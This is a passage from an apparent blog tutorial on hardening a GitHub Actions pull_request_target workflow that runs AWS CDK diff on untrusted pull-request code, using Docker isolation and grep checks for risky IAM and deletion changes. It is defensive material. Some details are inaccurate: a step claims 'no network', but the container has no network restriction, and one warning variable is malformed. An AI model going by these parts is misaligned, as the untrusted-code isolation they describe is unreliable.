│ 6. Generate Infrastructure Diff (develop branch)            │
│    ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk        │
│    ├─→ Run against produced assets in `cdk.out`             │
│    └─→ Save output in file `cdk.out`                        │
│                                                             │
│ 7. Post Results (Docker isolation)                          │
│    └─→ cdk-notifier posts diff as PR comment                │
└─────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Security Measures
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Trusted CDK CLI Usage
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ❌ Dangerous: Uses potentially malicious CDK from untrusted code&lt;/span&gt;
npx cdk diff Develop

&lt;span class="c"&gt;# ✅ Safe: Uses trusted CDK CLI from parent directory&lt;/span&gt;
../../iac/node_modules/.bin/cdk diff Develop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Isolated Output Directory
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ❌ Dangerous: Might write to parent directory&lt;/span&gt;
cdk diff Develop

&lt;span class="c"&gt;# ✅ Safe: Forces output to isolated directory&lt;/span&gt;
cdk diff Develop &lt;span class="nt"&gt;--output&lt;/span&gt; cdk.out
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Docker Process Isolation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ❌ Dangerous: Runs directly on host&lt;/span&gt;
&lt;span class="nb"&gt;cd &lt;/span&gt;untrusted-pr-code &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm ci

&lt;span class="c"&gt;# ✅ Safe: Runs in isolated container&lt;/span&gt;
docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;pwd&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;/untrusted-pr-code:/workspace:rw"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /workspace &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;:&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  node:20-alpine &lt;span class="se"&gt;\&lt;/span&gt;
  npm ci
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Credential Isolation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# The untrusted code never has direct access to:&lt;/span&gt;
&lt;span class="c"&gt;# - AWS_ACCESS_KEY_ID&lt;/span&gt;
&lt;span class="c"&gt;# - AWS_SECRET_ACCESS_KEY&lt;/span&gt;
&lt;span class="c"&gt;# - AWS_SESSION_TOKEN&lt;/span&gt;
&lt;span class="c"&gt;# - GITHUB_TOKEN (except limited scope for cdk-notifier)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Implementation: The Complete Secure Workflow
&lt;/h2&gt;

&lt;p&gt;Now let's implement a production-ready workflow that puts these security patterns into practice:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CDK Diff Report&lt;/span&gt;

&lt;span class="c1"&gt;# SECURITY WARNING: This workflow uses pull_request_target&lt;/span&gt;
&lt;span class="c1"&gt;# It runs untrusted code with access to repository secrets&lt;/span&gt;
&lt;span class="c1"&gt;# Only use after understanding the security implications&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request_target&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;# Run in main repo context for status checks&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;develop&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;types&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;opened&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;synchronize&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;reopened&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iac/**"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!iac/test/**"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.github/workflows/report-infrastructure-diff.yml"&lt;/span&gt;

&lt;span class="c1"&gt;# Prevent concurrent runs to avoid resource conflicts&lt;/span&gt;
&lt;span class="na"&gt;concurrency&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;group&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.workflow }}-${{ github.ref }}&lt;/span&gt;
  &lt;span class="na"&gt;cancel-in-progress&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;

&lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;AWS_REGION&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eu-central-1&lt;/span&gt;
  &lt;span class="na"&gt;AWS_ACCOUNT&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;274116565330&lt;/span&gt;
  &lt;span class="na"&gt;UNTRUSTED_CODE_FOLDER&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;untrusted-pr-code&lt;/span&gt;
  &lt;span class="na"&gt;NODE_VERSION&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;22"&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;deploy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;check diff to develop&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;

    &lt;span class="c1"&gt;# Timeout to prevent resource exhaustion attacks&lt;/span&gt;
    &lt;span class="na"&gt;timeout-minutes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;15&lt;/span&gt;

    &lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;id-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt; &lt;span class="c1"&gt;# AWS OIDC authentication&lt;/span&gt;
      &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt; &lt;span class="c1"&gt;# Read repository contents&lt;/span&gt;
      &lt;span class="na"&gt;pull-requests&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt; &lt;span class="c1"&gt;# Post diff comments&lt;/span&gt;
      &lt;span class="na"&gt;issues&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt; &lt;span class="c1"&gt;# Comment on PRs&lt;/span&gt;
      &lt;span class="na"&gt;repository-projects&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt; &lt;span class="c1"&gt;# Update project boards&lt;/span&gt;

    &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;BRANCH_NAME&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.head_ref || github.ref_name }}&lt;/span&gt;
      &lt;span class="na"&gt;GITHUB_OWNER&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.repository_owner }}&lt;/span&gt;
      &lt;span class="na"&gt;GITHUB_REPO&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.repository.name }}&lt;/span&gt;
      &lt;span class="na"&gt;PULL_REQUEST_ID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.number }}&lt;/span&gt;

    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Checkout Base Branch (Trusted Workflow Definition and Dependencies)&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.base.ref }}&lt;/span&gt; &lt;span class="c1"&gt;# Checkout the code of the develop branch&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Setup Node.js&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/setup-node@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;node-version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ env.NODE_VERSION }}&lt;/span&gt;
          &lt;span class="na"&gt;cache&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;npm"&lt;/span&gt;
          &lt;span class="na"&gt;cache-dependency-path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;package-lock.json&lt;/span&gt;

      &lt;span class="c1"&gt;# Project is NPM workspace compliant&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Install all dependencies&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Configure AWS credentials&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;aws-actions/configure-aws-credentials@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;role-to-assume&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;arn:aws:iam::${{ env.AWS_ACCOUNT }}:role/github-ci-role&lt;/span&gt;
          &lt;span class="na"&gt;role-session-name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github-ci-infrastructure-diff&lt;/span&gt;
          &lt;span class="na"&gt;aws-region&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ env.AWS_REGION }}&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Check caller identity&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;aws sts get-caller-identity&lt;/span&gt; &lt;span class="c1"&gt;# Fails fast if credentials broken&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Checkout PR Head (Untrusted Code)&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.head.sha }}&lt;/span&gt;
          &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./${{ env.UNTRUSTED_CODE_FOLDER }}&lt;/span&gt; &lt;span class="c1"&gt;# Checkout into a distinct sub-directory&lt;/span&gt;
          &lt;span class="na"&gt;persist-credentials&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="c1"&gt;# Crucial: ensure no credentials are inserted into the checked-out URL&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Prepare dependencies in the untrusted branch (from PR)&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;echo "Loading untrusted code dependencies in isolated Docker containers..."&lt;/span&gt;

          &lt;span class="s"&gt;docker run --rm \&lt;/span&gt;
            &lt;span class="s"&gt;--volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \&lt;/span&gt;
            &lt;span class="s"&gt;--workdir /workspace \&lt;/span&gt;
            &lt;span class="s"&gt;--user $(id -u):$(id -g) \&lt;/span&gt;
            &lt;span class="s"&gt;--env npm_config_cache=/tmp/.npm \&lt;/span&gt;
            &lt;span class="s"&gt;node:${{ env.NODE_VERSION }}-alpine \&lt;/span&gt;
            &lt;span class="s"&gt;npm ci&lt;/span&gt;

          &lt;span class="s"&gt;docker run --rm \&lt;/span&gt;
            &lt;span class="s"&gt;--volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \&lt;/span&gt;
            &lt;span class="s"&gt;--workdir /workspace \&lt;/span&gt;
            &lt;span class="s"&gt;--user $(id -u):$(id -g) \&lt;/span&gt;
            &lt;span class="s"&gt;--env npm_config_cache=/tmp/.npm \&lt;/span&gt;
            &lt;span class="s"&gt;node:${{ env.NODE_VERSION }}-alpine \&lt;/span&gt;
            &lt;span class="s"&gt;npm run build-all&lt;/span&gt;

      &lt;span class="c1"&gt;# Check diff the PR code to develop while using the trusted CDK CLI (from the parent folder)&lt;/span&gt;
      &lt;span class="c1"&gt;# This ensures that the CDK CLI is trusted and not influenced by untrusted code.&lt;/span&gt;
      &lt;span class="c1"&gt;# This is crucial to prevent potential security risks from untrusted code.&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Check diff to develop&lt;/span&gt;
        &lt;span class="na"&gt;working-directory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./${{ env.UNTRUSTED_CODE_FOLDER }}&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;echo "- Step 1: cdk diff in isolated environment (no credentials, no network)"&lt;/span&gt;
          &lt;span class="s"&gt;# First, synthesize the template WITHOUT credentials in completely isolated Docker&lt;/span&gt;
          &lt;span class="s"&gt;### Local shell equivalent: npm run build; npx cdk synth --output /tmp/cdk.out&lt;/span&gt;
          &lt;span class="s"&gt;docker run --rm \&lt;/span&gt;
            &lt;span class="s"&gt;--volume "./:/workspace:rw" \&lt;/span&gt;
            &lt;span class="s"&gt;--volume "$(pwd)/../node_modules:/trusted-modules:ro" \&lt;/span&gt;
            &lt;span class="s"&gt;--workdir /workspace \&lt;/span&gt;
            &lt;span class="s"&gt;--user $(id -u):$(id -g) \&lt;/span&gt;
            &lt;span class="s"&gt;--cap-drop=ALL \&lt;/span&gt;
            &lt;span class="s"&gt;--memory=2g \&lt;/span&gt;
            &lt;span class="s"&gt;--cpu-shares=1024 \&lt;/span&gt;
            &lt;span class="s"&gt;--env npm_config_cache=/tmp/.npm \&lt;/span&gt;
            &lt;span class="s"&gt;node:${{ env.NODE_VERSION }} \&lt;/span&gt;
            &lt;span class="s"&gt;sh -c "cd iac &amp;amp;&amp;amp; timeout 120s /trusted-modules/.bin/cdk synth Develop \&lt;/span&gt;
              &lt;span class="s"&gt;--app 'node dist/bin/iac.js' \&lt;/span&gt;
              &lt;span class="s"&gt;--output cdk.out \&lt;/span&gt;
              &lt;span class="s"&gt;--no-version-reporting &amp;gt; synth.log 2&amp;gt;&amp;amp;1" || {&lt;/span&gt;
              &lt;span class="s"&gt;echo "❌ CDK synthesis failed - this might indicate malicious code trying to access network/credentials"&lt;/span&gt;
              &lt;span class="s"&gt;exit 1&lt;/span&gt;
            &lt;span class="s"&gt;}&lt;/span&gt;

          &lt;span class="s"&gt;echo "- Step 2: cdk.out content"&lt;/span&gt;
          &lt;span class="s"&gt;ls -la ./iac/cdk.out&lt;/span&gt;
          &lt;span class="s"&gt;echo "AWS_ACCOUNT: $AWS_ACCOUNT"&lt;/span&gt;
          &lt;span class="s"&gt;echo "AWS_REGION: $AWS_REGION"&lt;/span&gt;

          &lt;span class="s"&gt;echo "- Step 3: cdk diff in trusted environment"&lt;/span&gt;
          &lt;span class="s"&gt;# Then, compare the synthesized template with the deployed stack using trusted CLI with AWS credentials&lt;/span&gt;
          &lt;span class="s"&gt;### Local shell equivalent: AWS_REGION=eu-central-1 AWS_ACCOUNT=274116565330 npx cdk diff Develop --app /tmp/cdk.out --progress=events --profile ...&lt;/span&gt;
          &lt;span class="s"&gt;../node_modules/.bin/cdk diff Develop \&lt;/span&gt;
            &lt;span class="s"&gt;--app "./iac/cdk.out" \&lt;/span&gt;
            &lt;span class="s"&gt;--progress=events \&lt;/span&gt;
            &lt;span class="s"&gt;--no-version-reporting \&lt;/span&gt;
            &lt;span class="s"&gt;&amp;amp;&amp;gt; cdk.log&lt;/span&gt;

          &lt;span class="s"&gt;echo "- Step 4: cdk.log file"&lt;/span&gt;
          &lt;span class="s"&gt;ls -la ./cdk.log&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Security&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Scan&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;of&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Diff&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Output"&lt;/span&gt;
        &lt;span class="na"&gt;working-directory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./${{ env.UNTRUSTED_CODE_FOLDER }}&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;echo "- Step 1: cdk.log file"&lt;/span&gt;
          &lt;span class="s"&gt;ls -la ./cdk.log&lt;/span&gt;

          &lt;span class="s"&gt;echo "- Step 2: Basic security patterns to flag for review"&lt;/span&gt;
          &lt;span class="s"&gt;if grep -E "(AdministratorAccess|PowerUserAccess|FullAccess)" cdk.log; then&lt;/span&gt;
            &lt;span class="s"&gt;echo "⚠️  WARNING: Over privileged managed policies detected"&lt;/span&gt;
            &lt;span class="s"&gt;echo "security-warning=true" &amp;gt;&amp;gt; $GITHUB_ENV&lt;/span&gt;
          &lt;span class="s"&gt;fi&lt;/span&gt;

          &lt;span class="s"&gt;if grep -E 'Action: "\*"' cdk.log; then&lt;/span&gt;
            &lt;span class="s"&gt;echo "⚠️  WARNING: Wildcard actions in IAM policies detected"&lt;/span&gt;
            &lt;span class="s"&gt;echo "security-warning=true" &amp;gt;&amp;gt; $GITHUB_ENV&lt;/span&gt;
          &lt;span class="s"&gt;fi&lt;/span&gt;

          &lt;span class="s"&gt;echo "- Step 3: Context-aware security check"&lt;/span&gt;
          &lt;span class="s"&gt;webhook_context=$(grep -B 10 -A 10 'Principal: "\*"' cdk.log || true)&lt;/span&gt;
          &lt;span class="s"&gt;if echo "$webhook_context" | grep -q "lambda:InvokeFunctionUrl"; then&lt;/span&gt;
            &lt;span class="s"&gt;echo "✅ Webhook pattern detected - legitimate use of Principal: '*'"&lt;/span&gt;
          &lt;span class="s"&gt;else&lt;/span&gt;
            &lt;span class="s"&gt;if grep -q 'Principal: "\*"' cdk.log; then&lt;/span&gt;
              &lt;span class="s"&gt;echo "⚠️  WARNING: Unrestricted principal access detected"&lt;/span&gt;
              &lt;span class="s"&gt;echo "security-warning=true" &amp;gt;&amp;gt; $GITHUB_ENV&lt;/span&gt;
            &lt;span class="s"&gt;fi&lt;/span&gt;
          &lt;span class="s"&gt;fi&lt;/span&gt;

          &lt;span class="s"&gt;echo "- Step 4: Look for actual resource destruction patterns"&lt;/span&gt;
          &lt;span class="s"&gt;deletion_matches=$(grep -n -B 3 -A 3 -E "(\[-\]\s*AWS::|\.destroy\(\)|DeletionPolicy.*Delete|Stack.*DESTROY)" cdk.log || true)&lt;/span&gt;

          &lt;span class="s"&gt;if [ -n "$deletion_matches" ]; then&lt;/span&gt;
            &lt;span class="s"&gt;echo "⚠️  WARNING: Resource deletion detected"&lt;/span&gt;
            &lt;span class="s"&gt;echo "📍 Found at:"&lt;/span&gt;
            &lt;span class="s"&gt;echo "$deletion_matches"&lt;/span&gt;
            &lt;span class="s"&gt;echo "destruction-warning=true" &amp;gt;&amp;gt; $GITHUB_ENV&lt;/span&gt;
          &lt;span class="s"&gt;fi&lt;/span&gt;

          &lt;span class="s"&gt;echo "🔍 Security scan completed. Warnings: security=${security-warning:-false}, destruction=${destruction-warning:-false}"&lt;/span&gt;

      &lt;span class="c1"&gt;# cdk-notifier&lt;/span&gt;
      &lt;span class="c1"&gt;# cSpell:ignore karlderkaefer&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Post CDK diff to PR&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;echo "Create cdk-notifier report"&lt;/span&gt;
          &lt;span class="s"&gt;docker run --rm \&lt;/span&gt;
            &lt;span class="s"&gt;--volume "./$UNTRUSTED_CODE_FOLDER/cdk.log:/app/cdk.log:ro" \&lt;/span&gt;
            &lt;span class="s"&gt;--env GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \&lt;/span&gt;
            &lt;span class="s"&gt;karlderkaefer/cdk-notifier:latest \&lt;/span&gt;
            &lt;span class="s"&gt;--owner $GITHUB_OWNER \&lt;/span&gt;
            &lt;span class="s"&gt;--repo $GITHUB_REPO \&lt;/span&gt;
            &lt;span class="s"&gt;--log-file /app/cdk.log \&lt;/span&gt;
            &lt;span class="s"&gt;--tag-id "diff-pr-$PULL_REQUEST_ID-to-develop" \&lt;/span&gt;
            &lt;span class="s"&gt;--pull-request-id $PULL_REQUEST_ID \&lt;/span&gt;
            &lt;span class="s"&gt;--vcs github \&lt;/span&gt;
            &lt;span class="s"&gt;--ci circleci \&lt;/span&gt;
            &lt;span class="s"&gt;--template extendedWithResources&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Fail&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;build&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;if&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;security&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;or&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;destruction&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;warnings&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;are&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;present"&lt;/span&gt;
        &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;env.security-warning == 'true' || env.destruction-warning == 'true'&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;echo "::warning title=Security Review Required::This PR contains potentially dangerous infrastructure changes that require careful review"&lt;/span&gt;
          &lt;span class="s"&gt;exit 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Understanding the Remaining Risks
&lt;/h2&gt;

&lt;p&gt;Even with these protections, some risks remain:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. cdk-notifier GITHUB_TOKEN Access
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Limited Risk: cdk-notifier Tool Access
┌────────────────────────────────────────────────────────────┐
│ Risk: cdk-notifier has GITHUB_TOKEN access                 │
│                                                            │
│ Mitigations:                                               │
│ • Token has limited permissions (pull-requests: write)     │
│ • Token is short-lived (expires with workflow)             │
│ • Tool runs in separate Docker container                   │
│ • Tool is from trusted source (karlderkaefer/cdk-notifier) │
│                                                            │
│ Potential Impact:                                          │
│ • Could post malicious comments on PRs                     │
│ • Could access public repository information               │
│ • Cannot access AWS resources or secrets                   │
└────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. CDK Synthesis-Time Code Execution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Risk: Malicious code in CDK constructs runs during synthesis&lt;/span&gt;
